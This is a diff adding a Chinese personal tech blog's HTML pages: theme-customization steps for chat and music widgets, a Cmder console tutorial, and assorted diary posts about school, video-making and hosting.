然后将这串代码保存到./layout/includes/addons/daovoice.pug

+

然后我们打开./layout/index.pug文件,在里面加入以下内容

+
1
2
if theme.daovoice.enable
include includes/addons/daovoice.pug
+ +

然后我们再打开butterfly.yml,在里面加入以下内容

+
1
2
3
4
# Daovoice实时客服功能
daovoice:
enable: true
appid: xxxxxxxx
+ +

接着保存,部署,发现右下角的按钮出来了吧~

+
实时对话预设文档使用

先点击这个链接下载预设文档→daovoice.pug

+

将文件放入./layout/includes/addons文件夹内,接着打开./layout/index.pug,在里面加入以下内容

+
1
2
if theme.daovoice.enable
include includes/addons/daovoice.pug
+ +

然后打开butterfly.yml,加入以下内容

+
1
2
3
4
# Daovoice实时客服功能
daovoice:
enable: true
appid: xxxxxxxx
+ +

接着部署即可!

+

旧办法

Daocloud提供给我的代码是下面这样的,正常来说除了那个js的名字不一样其他都是一样的(这里的js名字为了保证隐私安全我用了xxxxxxxx代替)

+
1
<script>(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/xxxxxxxx.js","daovoice")</script>
+ +

按照思路,首先我们需要把daovoice提供的代码都转换成pug形式,转换后就像下面这样

+
1
2
3
4
html
body
script.
(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/xxxxxxxx.js","daovoice")
+ +

接着我们把这串代码放到daovoice-head.pug文件中,并把这个文件放到./layout/includes/addons里面(没有这个文件夹可以自己建立,也可以把我下面教程中的路径替换成你自己的),接着,我们打开./layout/includes/head.pug里面,加入以下代码

+
1
2
if theme.daovoice.enable	//- 如果你不想在butterfly.yml中加入开关,想直接引入的话可以不用这一行
include ./addons/daovoice-head.pug
+ +

在head.pug中加入代码

+

这样,head的引入就完成了

+

剩下的工作就是用一个script调用这个功能。根据daovoice提供给我们的代码(然而并没有把<script></script>加进去,差评哼)

+
1
2
3
4
daovoice('init', {
app_id: "xxxxxxxx"
});
daovoice('update');
+ +

我们需要给它的头和尾加入手动加入<script></script>才能正确调用,所以加了以后就是

+
1
2
3
4
5
6
<script>
daovoice('init', {
app_id: "xxxxxxxx"
});
daovoice('update');
</script>
+ +

接着仍然要把它转成pug文件,转出来以后就是这样

+
1
2
3
4
5
6
7
html
body
script.
daovoice('init', {
app_id: "xxxxxxxx",
});
daovoice('update');
+ +

然后我们把这串代码保存到一个名为daocloud-anonymous.pug的文件,放到./layout/includes/addons里面,接着我们打开./layout/index.pug文件,在里面加入以下内容

+
1
2
if theme.daovoice.enable	//- 这里同样,不需要的话可以删掉
include includes/addons/daovoice-anonymous.pug
+ +

在index.pug中加入代码

+

然后保存,到butterfly.yml里面在任意一个位置加入以下内容

+
1
2
daovoice:
enable: true
+ +

加入完成后保存,开始部署本地调试,看看右下角是不是多了一个小按钮啦?(按钮的样式需要在Daovoice后台更改)

+
旧办法实时对话预设文档使用

首先,你还是需要一个Daovoice账号,注册完了以后,点击下面的链接下载所需要的两个文件

+

Daovoice的Head预设文件 | Daovoice的调用Script

+

然后打开下载的daovoice-head.pug,在里面的第四行,把链接中的8个x改成你自己的应用id

+
1
2
3
4
html
body
script.
(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/xxxxxxxx.js","daovoice")
+ +

打开下载的daovoice-anonymous.pug文件,同样将里面的app_id改为自己的应用id

+
1
2
3
4
5
6
7
html
body
script.
daovoice('init', {
app_id: "xxxxxxxx",
});
daovoice('update');
+ +

保存,把这两个文件放进./layout/includes/addons里面

+

接着打开./layout/includes/head.pug文件,在里面加入引入代码如下图

+
1
2
if theme.daovoice.enable
include ./addons/daovoice-head.pug
+ +

在head.pug中加入代码

+

保存,打开./layout/index.pug,在里面加入引入代码如下图

+
1
2
if theme.daovoice.enable
include includes/addons/daovoice-anonymous.pug
+ +

在index.pug中加入代码

+

保存,打开butterfly.yml,在任意一行加入以下内容

+
1
2
3
# Daovoice实时客服功能
daovoice:
enable: true
+ +

然后保存即可!

+

加入音乐小部件

Butterfly@dev-pjax分支不推荐

+ +

这里有两种做法,Aplayer方法和网易云自带播放器的方法,请根据自己的需要进行修改,预览图在每个方法的开头就有

+

Aplayer法

+

Aplayer是一个音乐播放器,官方文档在这里,这里我着重讲怎么添加,而不是aplayer的用法(已经配置好的文件在下面,可以直接下载使用)

+

首先,按照我的个人习惯,在layout/includes/addons文件夹里面复制粘贴一个layout/includes/widget/card_announcement.pug的副本,修改一下里面的内容,把公告的内容删掉,改成了下面这个样子

+
1
2
3
4
5
.card-widget.card-aplayer
.card-content
.item-headline
i.fa.fa-music(aria-hidden="true")
span= _p('Music')
+ +

接着,就要开始调用Aplayer了,按照官方的做法,我们要调用一个js和一个css文件,这里我保存了一份副本,并且修改了一下css,把进度条和循环按钮隐藏了,上传到github,通过jsdelivr调用

+

因为我们是内嵌一个html网页,所以我们这里要先用html写法写完,然后转成pug

+
1
2
3
4
5
html
body
link(rel="stylesheet" href="https://cdn.bili33.top/gh/Vikutorika/assets@master/css/APlayer.min.css") //- 引用修改的CSS
#aplayer //- 相当于<div>
script(src="https://cdn.bili33.top/gh/Vikutorika/assets@master/js/APlayer.min.js") //- 引用js文件
+ +

然后我们要给aplayer一些我们要放的音乐的信息,这里的写法是用<script></script>来赋值,至于怎么写请看官方文档,写好后记得转换成pug,下面我放出我的例子

+
1
2
3
4
5
6
7
8
9
10
11
12
13
script.
const ap = new APlayer({
container: document.getElementById('aplayer'),
audio: [{
name: 'world.execute (me) ;',
artist: 'Mili',
url: 'https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@world.execute(me)/audio/Mili%20-%20world.execute%20(me)%20;.mp3',
cover: 'https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@world.execute(me)/img/Album/Miracle Milk.jpg',
theme: "#8e8cd8",
lrc: "https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@Github-Basic/lrc/world.execute (me) %3B.txt"
}]
});

+ +

通过const给Aplayer一些信息,让它能够播放我们的音乐

+

接着打开layout/includes/widget/index.pug在你认为合适的地方添加(注意缩进)

+
1
2
if theme.aside.card_aplayer
include ../addons/card_aplayer.pug
+ +

然后我们打开butterfly.yml,在aside的侧边栏显示设置里面添加

+
1
2
3
card_webinfo: true
# 上面是原来就有的
card_aplayer: true # 添加个开关,可以控制打开关闭
+ +

然后就可以啦!

+
预设文档使用

首先先下载预设文档,放到主题目录下的layout/includes/addons文件夹内(如果不存在请自己创建)

+

打开文件,修改里面的变量,关于变量请查看官方文档

+

修改完后保存,打开layout/includes/widget/index.pug,在你认为合适的位置加上以下内容(注意缩进)

+
1
2
if theme.aside.card_aplayer
include ../addons/card_aplayer.pug
+ +

打开butterfly.yml,在aside的侧边栏设置加入以下内容

+
1
2
3
card_webinfo: true
# 上面是原来就有的
card_aplayer: true # 添加个开关,可以控制打开关闭
+ +

然后保存即可!

+

网易云音乐官方部件法

成果图

+

我们先打开网易云的一首歌,点击生成外联播放器,要求是这首歌不需要VIP进行下载,否则会二话不说给你弹出下面这个窗

+

版 权 保 护

+

正常情况下,会给你打开外联播放器的生成页面,在下面选择合适的参数,其中宽度我稍微试了一下,推荐为230,太小会观感体验不好,太大会直接超出框,设定好宽度我们就复制代码(宽度也可以直接在width=后面进行修改哦)

+

外链播放器生成页面

+ +↑我这里选择的音乐 + +

然后我们复制一份butterfly/layout/includes/widget文件夹里面的card_announcement.pug文件(主要是因为公告是最好进行修改的东西了) ,改名为card_music.pug,把里面改成以下内容

+
1
2
3
4
5
6
.card-widget.music
.card-content
.item-headline
i.fa.fa-music(aria-hidden="true")
span= _p('Music')
|
+ +

然后在|那一行,把你刚刚获得的网易云链接放进去(保留前面的|

+

然后保存,接着我们打开同目录下的index.pug

+

在里面你认为合适的位置加上以下内容

+
1
2
if theme.aside.card_music
include ./card_music.pug
+ +

如果你不需要开关可以不加if判断

+

接着打开butterfly.yml文件,在aside设置中加上一行

+
1
card_music: true
+ +

如果想关掉的时候设置成false即可

+

这样我们就成功把网易云的音乐加入自己的侧边小部件了!

+

不定期更新

Author: GamerNoTitle
Link: https://bili33.top/posts/butterfly-customize/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/cmder/index.html b/posts/cmder/index.html new file mode 100644 index 0000000000..dca766417e --- /dev/null +++ b/posts/cmder/index.html @@ -0,0 +1,330 @@ +Cmd的互替软件,让Cmder来帮助你更好地使用控制台! | GamerNoTitle + + + + + + + + + + + + + +

Cmd的互替软件,让Cmder来帮助你更好地使用控制台!

Cmder

+

问题:什么是Cmd?

命令提示符是在操作系统中,提示进行命令输入的一种工作提示符。在不同的操作系统环境下,命令提示符各不相同。在windows环境下,命令行程序为cmd.exe,是一个32位的命令行程序,微软Windows系统基于Windows上的命令解释程序,类似于微软的DOS操作系统。 ——来自 百度百科

+

为什么要用Cmder来替换Cmd呢?

1、Cmd有的时候复制粘贴很麻烦,Cmder则不会

+

2、Cmder可以分屏多开窗口,Cmd不行

+

3、Cmder可以设置窗口颜色,字体大小(更加美观)

+

4、Cmder有很多快捷键和谷歌浏览器操作类似(反正就是很多功能)

+

下载地址(官网):

Cmder官网

+

官网下载有mini版和完整版,我建议完整版(虽然我也不知道两个之间有什么区别,或许是少了点命令?)

+

一点小技巧:

你可以在系统属性里面配置环境变量,把cmder的路径加入到path里面去

+

然后以管理员身份打开cmd,输入

+
1
2
# 设置任意地方鼠标右键启动Cmder
Cmder.exe /REGISTER ALL
+ +

然后你就可以像我一样在任意地方打开cmder了

+

cmder-here

+

快捷键大全(官网有):

1
2
3
4
5
6
7
8
9
10
11
12
13
Tab       自动路径补全
Ctrl+T 建立新页签
Ctrl+W 关闭页签
Ctrl+Tab 切换页签
Alt+F4 关闭所有页签
Alt+Shift+1 开启cmd.exe
Alt+Shift+2 开启powershell.exe
Alt+Shift+3 开启powershell.exe (系统管理员权限)
Ctrl+1 快速切换到第1个页签
Ctrl+n 快速切换到第n个页签(n无上限)
Alt + enter 切换到全屏状态
Ctrl+r 历史命令搜索
Win+Alt+P 开启工具选项视窗
+ +
TIPS:如果中文不能正常显示,可以在设置的环境选项(Settings–>Startup–>Eniviroment)内加入以下语句
1
set LANG=zh_CN.UTF8 
+ +

cmder-cn

+
题外话

1、我没有收广告费,单纯是因为它很好用

+

2、Win10还是比较推荐Powershell的,但是win10以下powershell(即使内置)是没有在环境变量中的,所以win10以下我还是会用cmder

+
+
后期更新:

Powershell真香!

+
+

2020.3.19 更新

应评论区用户要求,我就来讲讲小白式玩法~

+

第一点:将cmder加入PATH变量

以Win10为例(Win10以下的path变量管理界面不一样,但是道理还是一样的)

+

我们首先右键我的电脑(此电脑),然后选择属性

+

+

在此电脑的属性页面中选择高级系统设置

+

+

在打开来的窗口选择环境变量

+

+

然后在上面的用户变量栏里面选择path然后点击编辑

+

+

在右侧点击新建,然后在框框里面先随便输入点内容(因为如果不输入直接点浏览的话会覆盖掉上面的数据)

+

+

接着选择浏览,选到你的cmder存放的目录,我这里是在G:\cmder,所以直接选择到这里就好了

+

+

点击确定,在左边的环境变量栏里面就会有刚刚选择的目录路径了

+

接着打开运行,你也可以通过Win+R来打开,在里面输入cmder然后确定

+

+

如果你能正常打开cmder就说明你设置成功啦!

+

+

上面说的把cmder加入到右键菜单,在电脑左下角的Win标那里右键,选择命令提示符(管理员)或者Windows Powershell(管理员)

+

+

把上面的那一串命令打进去就可以了。

+

你是不是完成配置了呢?那就开始你的cmder之旅吧!

+
+ +
Author: GamerNoTitle
Link: https://bili33.top/posts/cmder/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/diary1/index.html b/posts/diary1/index.html new file mode 100644 index 0000000000..dbbd415277 --- /dev/null +++ b/posts/diary1/index.html @@ -0,0 +1,287 @@ +日常吐槽01 | GamerNoTitle + + + + + + + + + + + + + +

日常吐槽01

想开一个日常吐槽分区,除了技术(汗?)文还可以发一发平常的感受~

+

期中考考完啦!!!开心~

+

但是数学考得不很好,反正就是不很好(自闭中)

+

本周遇到了wordpress会出现429错误的问题,貌似被墙了,果断搭建一个代理站,但是wordpress的链接不是相对链接,是绝对链接,所以要下载wordpress要手动把原来的域名改成我的域名

+

点我下载wordpress最新版~(zip)

+

点我下载wordpress最新版~(tar.gz)

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary1/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/diary10/index.html b/posts/diary10/index.html new file mode 100644 index 0000000000..cbda1a6029 --- /dev/null +++ b/posts/diary10/index.html @@ -0,0 +1,297 @@ +日常吐槽10:我的域名被停止解析了 —— 一段时间 | GamerNoTitle + + + + + + + + + + + + + +

日常吐槽10:我的域名被停止解析了 —— 一段时间

这件事还得从群里的兄弟那里说起(右图)

+

主要是我这边没办法用个人身份备案,然后有些东西没有备案就很恼人,尤其是最近收到的Leancloud国际版不对大陆用户提供服务的通知

+

+

这就搞得没备案会让我陷入被动(特别是在某些服务上面),那没办法啦,既然有能够弄企备的方法,那就去弄一个吧

+

然后我就找上门了,就像下面这样

+

+

然后我就开始等待了,按照对面的说法我前面还有一个人,然后备案要等14-30天

+

结果某一天,别人告诉我服务炸了

+

+

然后我就去排查,看我的腾讯云上TS正在正常运行,但是就是连不到

+

与此同时,我的MC服务器也连接不到了,但是BungeeCord还在正常运行

+

我就猜是不是域名解析掉了,我就去问备案那边,他说确实是

+

+

那有啥办法嘛,只能等了呗

+

我就把我的必要服务开了第二个域名,例如我的BLOG开在了https://blog.ninym.top上面,前几天做的hexo域名检测工具开在了https://linkcheck.ninym.top

+

然后把部分Github仓库涉及到文档在我的网站上的加一条备用文档链接,然后陷入无尽的等待……

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary10/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/diary2/index.html b/posts/diary2/index.html new file mode 100644 index 0000000000..d99955625f --- /dev/null +++ b/posts/diary2/index.html @@ -0,0 +1,286 @@ +日常吐槽02 | GamerNoTitle + + + + + + + + + + + + + +

日常吐槽02

今天是周日,还要考试,哭了。。。

+

本周二是学校的研学活动,但是说不给带手机给带相机,对我倒是没什么所谓啦(原因在下面),但是学校有没有考虑过有些人家里莫得相机啊?

+

周三晚上校运会开幕式,有我们至今为止最庞大的直播阵容:

+

直播及录像机:我的Lenovo不知道是什么鬼型号,反正i7 7700k够用了,加个16G运存,用NDI采集导播机的画面
导播机:梅导的新电脑,用的9900k还有32G运存,我觉得用vmix莫得问题,用NDI传输画面给我的电脑中的OBS
(PS:我们是vMix导播切镜头,我的OBS来直播+录像)
字幕机:梅导以前的电脑,用的6700k
采集机(4台):采集四个相机/无人机的实时画面,利用NDI传输到导播机
相信这一次我们能够避免上次的马赛克
由于导播,所以我们一定要使用手机,所以上面才说没什么所谓~

+

准备退休啦~

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary2/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/diary3/index.html b/posts/diary3/index.html new file mode 100644 index 0000000000..84fc0713e4 --- /dev/null +++ b/posts/diary3/index.html @@ -0,0 +1,447 @@ +日常吐槽03 - 聊一聊WARFRAME COINCIDANCE的制作 | GamerNoTitle + + + + + + + + + + + + + + + +

日常吐槽03 - 聊一聊WARFRAME COINCIDANCE的制作

近期做了一个视频:【WARFRAME 抖肩舞】星 际 仓 鼠 再来亿遍!打三傻不如跳舞!每天一遍,防止抑郁~ WARFRAME版 Coincidance 自制

+

WARFRAME COINCIDANCE

+

什么?你说你还没有看?赶紧点开上面的蓝链前往B站查看!!!

+

哔哩哔哩播放:【WARFRAME 抖肩舞】星 际 仓 鼠 再来亿遍!打三傻不如跳舞!每天一遍,防止抑郁~ WARFRAME版 Coincidance 自制

+ +YouTube播放: + + +这是[bilibili@GamerNoTitle](https://space.bilibili.com/44666814)(也就是我自己)和[bilibili@ThisNEKKO_xd](https://space.bilibili.com/49835313/)、[bilibili@MI-rice-json](https://space.bilibili.com/22267745/)和[bilibili@毁天灭地的GEnX](https://space.bilibili.com/49914186/)四人一起合作完成的视频,这算是2019(农历)的最后一个视频,也是第一个视频。至于这个发布日期也是特意挑的,因为是我农历生日…… + +

一开始想做这个是因为看到了这个【命运2 抖肩舞】再来亿遍!打游戏不如跳舞!每天一遍,防止抑郁~命运2版Coincidance 自制

+

没错,就是命(tu)运(ming)2版的Coincidance。其实这个视频我是在期末考试最后一天的中午在宿舍里面看的,因为我们的考试安排是这样的(如下表,忘了具体日期了,本人选科是全理科)↓

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
日期场次科目时间
第一天1语文7:40~10:10
第一天2物理10:30~11:45
第一天3政治(不考)14:30~15:45
第二天1数学8:00~10:00
第二天2生物10:20~11:45
第二天3地理(不考)14:30~15:45
第三天1英语8:00~10:00
第三天2化学10:20~11:45
第三天3历史(不考)14:30~15:45
+

也就是在第三天的中午,反正下午也不考试,我就掏出了手机,打开了B站,开始看了一中午的视频(在这天之前我从未掏出过手机!),然后就看到了这个视频。

+

这个视频也是我的各个好友不断分享,然后在前天(2020.1.20)的晚上,我突然想到“为啥我们不做一个自己的COINCIDANCE”?用WARFRAME来做呢?(因为WARFRAME较完善的动作系统)

+

给我也整一个 MOD

+

然后我就在群里面找人,讲真,我身边加上我玩WARFRAME的人(就是身边的,不算上沙雕群友们)就只有4个人,而且WARFRAME刚好也是一个队伍最多4个人(这里我就要吐槽了,为什么不能像土命一样一个队伍6个人,这样更快乐,即使有5人小队BUG,但是不如土命2快乐),我们就相约第二天九点上线动工。

+

到了早上8点50分,我的手机闹铃就响了,是标准的Pixel音效 是在催促我起床了,我就赶紧起床,然后打开了WARFRAME。幸好我已经提前更新完了,要不都不知道要等多久。我打开了前一天晚上与@ThisNEKKO_xd一起讨论修改的脚本打开,然后CALL上小队成员,进入Chaptcha(好像是这么叫的)摄影棚开始拍摄。

+

(下面先放出脚本)

+
+

KIKI:Gamer.bili

+

ChuChu: Notfound404.

+

摄像机?(中间的人):GodGenx

+

机动:UBIthepotato

+

第一幕:KIKI

+

KIKI走路(第一个仓鼠叫做kiki)

+

KIKI拍绝路(她手上的是8极化绝路 – 截图)

+

机动&中间的人(不要和后面用一个甲)拳击(动作:洞悉武式)(她的车队喜拳击)

+

KIKI跳舞(但KIKI喜欢跳舞)

+

第二幕:ChooChoo

+

ChooChoo三弦琴(第二只仓鼠叫做ChooChoo,是一只??的仓鼠)

+

ChooChoo子弹跳×2(她喜欢解救受难仓鼠,但更喜欢跳舞)

+

ChooChoo跳舞

+

第三幕:

+

KIKI子弹跳×1,走动 ChooChoo三弦琴(她们踏上了旅程)

+

飞船(去到各个星球)

+

KIKI&ChooChoo处决&砍怪(分开)(她们听从莲妈,成为了Tenno强盗)

+

第四幕:

+

KIKI中继站子弹跳(她们跑遍了宇宙)

+

ChooChoo&NPC深鞠躬(遇到了许多的人)

+

七字真言弹出登录界面(无论是否有七字真言,她们都在跳舞)

+

KIKI跳舞

+

ChooChoo跳舞

+

KIKI在NPC面前跳舞

+

第五幕:摄影棚中继站

+

四人加载界面&四人进去不要动(一天她们到达了,宇宙的某个中继站)(加Hydroid中继站大字)

+

中间黑咖喱显赫刀剑疯狂长按E(她们俩肩并肩跳舞引来了其他仓鼠的围观)

+

KIKI&ChooChoo转身(她们转身面对面)

+

Kiki&ChooChoo跳舞(一切就在这巧合发生了)

+

KIKI鼓掌ChooChoo跳舞(Wow,跳的不错嘛)

+

KIKI跳舞ChooChoo鼓掌(Wow,你也不错嘛)

+

(He went dongdongdong, he went dongdongdong,They said we both been dance all this time)

+

KIKI&ChooChoo转向镜头(同时)(What coincidance)

+

Kiki&ChooChoo跳舞

+

▲注意一定要看下面

+

三个人(kiki&ChooChoo&机动)

+

Kiki左 机动中 ChooChoo右

+

1、 kiki&ChooChoo跳

+

2、 三人跳

+

3、 机动跳

+

4、 三人跳

+

第六幕:多场景

+

1、(场景无所谓)两人跳(从此她们一起跳舞)

+

2、(塞防图)上下两人跳(在这之前没人像她们一样)

+

3、(去希图斯)四人跳舞步可不统一(整个小队都在跳舞)

+

4、(夜灵平野三傻面前)四人跳舞(没有人去欺负三傻)

+

5、(放大KIKI)(KIKI停下面对镜头)(NO MORE)

+

6、(金星平原蜘蛛前面)四人跳(整个小队一起跳舞跳到了金星平原)

+

第七幕:

+

Kiki&ChooChoo同时跳(这都是因为两人的相遇,What a coincidence!)

+

很多镜头&甲用于快闪 都是单独舞步跳两个轮回

+

机动 指挥家武式(Lets dance)

+

第八幕:

+

1、 (KIKI左 机动中(靠后) ChooChoo右)KIKI&ChooChoo跳

+

2、 (KIKI左 机动中(靠前) ChooChoo右)(同上)

+

3、 (KIKI左 机动中(靠后) ChooChoo右)三人跳

+

4、 (KIKI左 机动中(靠前) ChooChoo右)(同上)

+

5、 (KIKI左 机动中(并排) ChooChoo右)三人跳

+

6、 (KIKI)KIKI跳

+

7、 (ChooChoo)ChooChoo跳

+

8、 (机动)

+

9、 (机动)蚀之武式

+

10、(机动&摄影)

+

11、KIKI跳 机动左侧鼓掌

+

12、ChooChoo跳 机动右侧鼓掌

+

13、KIKI跳

+

14、全队跳

+

—END—

+

制作者名单

+
+

对比起视频,讲真,有些镜头我们并没有拍。但是拍摄过程中,同一素材我们拍摄了多次,而且也在刷突击的时候顺带拍摄了某些素材,拍摄时长算下来一个小时多一点,效率还是挺高的。

+

然后就到了最难的时候了——传素材。我们是四个人分别录制了素材,土豆(这里指@MI-rice-json,因为WARFRAME的ID叫做UBI.the.potato故称作土豆)的电脑比较渣,录了一小段,总共1.46GB,直接使用奶牛快传传给了我;笨猫(此处指@ThisNEKKO_xd)录了总共2.54GB素材,因为人就在我旁边,所以直接用我的SSD拷贝过来;最难的是@GEnX的素材,他的电脑被我们称为“全队最好的电脑”,大部分素材都是他那里录制出来的,总共有29个G,这可难了,QQ最大传输文件和奶牛快传最大传输大小都为4个G,我就想到用压缩的方式,把文件分成N个4095MB(4GB=4096MB)的压缩包分段,然后一个一个传。@GEnX的龟速上行网络最高只有2.5MB/s的传输速度,所以无论我的下载速度多快也突破不了这2.5MB/s的上限,没办法,只能慢慢传了。8个文件,5个用QQ传输,3个用奶牛快传,总计传输了5个多小时。。。

+

终于传完素材了!可以开始剪辑啦!我满心欢喜地打开了我的PR,问题又来了!我的PR,它,它,它居然——闪退!!!因为我安装的是Adobe Premiere Pro 2020,上网查了以后发现,没有CC(Adobe Creative Cloud)是运行不了的,我就只能被迫下了一个CC(太难了),开始了剪辑

+

剪辑花费时长大概两个小时,因为素材拖进PR里面以后,PR会自动开始生成视频的峰值文件,这就吃了我很大一部分的CPU,只能顶着100%的CPU剪辑,剪辑了两个半小时(期间包括我上大字幕和@ThisNEKKO_xd上下面的字幕),终于完成了~

+

然后我就开始上传,编辑稿件,选择投稿日期->2020.1.22 09:00(因为这天刚好是我农历生日,我家生日算农历),然后提交了稿件,关上了电脑。

+

出场的仓鼠们如下(以下为WARFRAME ID):
音乐甲 & NOVA PRIME @Gamer.bili
瓦喵 PRIME & 电男 PRIME @NotFound404.
黑咖喱 & ASH PRIME & 指挥官 @UBI.the.potato
女枪PRIME & (潜行)指挥官 @GODGEnX
制作者名单:
导演 @Gamer.bili
剧本 @Gamer.bili @NotFound404.
拍摄 @GODGEnX @NotFound404. @Gamer.bili
剪辑 @Gamer.bili @NotFound404.
字幕 @NotFound404.

+

现在我写这一篇文章,应该是算作留个纪念吧,毕竟,这个视频做起来也不容易。。。

+

喜欢我的视频,请长按点赞键支持我哦~虽然我只是一只比白咕咕还要会咕咕咕的鸽子~

+

白咕咕

+

2020.1.22

+

GamerNoTitle

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary3/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/diary4/index.html b/posts/diary4/index.html new file mode 100644 index 0000000000..2dd30be327 --- /dev/null +++ b/posts/diary4/index.html @@ -0,0 +1,297 @@ +日常吐槽04 | GamerNoTitle + + + + + + + + + + + + + +

日常吐槽04

最近甚是无聊,因为做完了作业又不能出门(这都要从一只蝙蝠说起……),天天在家里打命(tu)运(ming)2,在家里躺着都算给国家做贡献……也没干什么技术活,就还是来吐槽一下吧

+

+

首先先感谢2019-ncov送来的寒假延长消息,让我们的寒假至少延迟到了2020.2.17(原来是9号回校,10号正式开学),也让我肝土命2的时间变多了(这赛季等级莫不是要冲100,正因如此,周末双休可能就要变成单休了,而且准高三的暑假估计要被阉割掉了)。因为病毒的影响,导致人人不能出门,出门必戴口罩。因为口罩太畅销了,有些地方的口罩纷纷涨价。涨价一点点能接受对吧,但是我看到我们班上有人20买个医用口罩,真心贵……(强烈斥责坐地起价的行为)昨天早上还去排队买口罩,凭身份证一人买五个5¥,买完了还去别的地方看看有没有口罩买,最后十一点半回到家……

+

+

既然学校延迟开学,那也不能闲着,让学生开始用起了钉钉,想着用钉钉的会议模式上课(什么脑洞……)钉钉的商店评分骤降(XSWL),这算是躺枪_(:з」∠)_吧……但是也让钉钉首次超过微信拿到了iOS榜单第一(嘿嘿)

+

+

最近特别喜欢用twitter(我也不知道为什么,我的Twitter@GamerNoTitle),天天早上就打开手机看推,然后看到@PlayWarframe(WARFRAME官方账号)关注了@Bungie(命运2开发商)和@Destiny2(命运2官方账号),这两家公司莫非有啥关系???(不过话说是同一题材的游戏撒)

+

+

15天前,我在Valine-Admin的仓库发布了issue#75,主要是邮件的发送上的问题,直到今天,终于有人回复我啦^v^,感谢大佬**@tnrzy**帮我解决了邮件发送的问题*v*

+

+

前几天还是在刷Twitter的时候,想去Soundcloud上听大佬的歌曲,然后发现国内访问不了Soundcloud,而且用cloudflare反代也不行,我就只能翻墙上soundcloud了。话说到底为啥soundcloud不能在国内用???

+

+
+

近期想做的事情:

+

1、想玩VR!!!想玩Beat Saber!!!(没有VR的人哭了)

+

2、趁着现在闲,想继续学一下C++和Python(目前只会基础撒)

+
Author: GamerNoTitle
Link: https://bili33.top/posts/diary4/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/diary5/index.html b/posts/diary5/index.html new file mode 100644 index 0000000000..78f2e8224a --- /dev/null +++ b/posts/diary5/index.html @@ -0,0 +1,304 @@ +日常吐槽05 - 【阿里云限时活动】免费领取6个月ESC服务器,到期前一个月还能免费续费多半年 | GamerNoTitle + + + + + + + + + + + + + +

日常吐槽05 - 【阿里云限时活动】免费领取6个月ESC服务器,到期前一个月还能免费续费多半年

活动网址:https://developer.aliyun.com/adc/student/

+

网页

+

近期,阿里云开启了白给活动,叫做阿里云高校学生“在家实践”计划,官方描述是这样的:

+

白给活动描述

+

然后往下拉,可以看到这个活动分成5个部分:

+

五步

+

①注册/登录 ②学生认证 ③完成测试 ④领取ECS学习资源 ⑤开始课程学习

+

其实这五部分就前面三个部分是需要我们进行的。注册和登录就不用多说了;学生认证:如果你是在校大学生,那么这个认证对你来说很轻松;如果你不是在校大学生,没关系!按照阿里云官方的说法,24岁以下都算学生。 事实证明还是要完成学生认证……

+

然后麻烦的东西是测试,这个测试共有10道题目,每道题10分,具体说明如下:

+
+

学生成长计划领取资格考试 - 云计算及云服务器入门

共10道题 限时10分钟

知识点考察范围:云计算概念、云服务器ECS基础知识。学习《云计算的前世今生》(链接: https://developer.aliyun.com/course/1236)、《7天玩转云服务器》 (链接: https://developer.aliyun.com/course/70) 课程将有助于提升考试通过率。

+
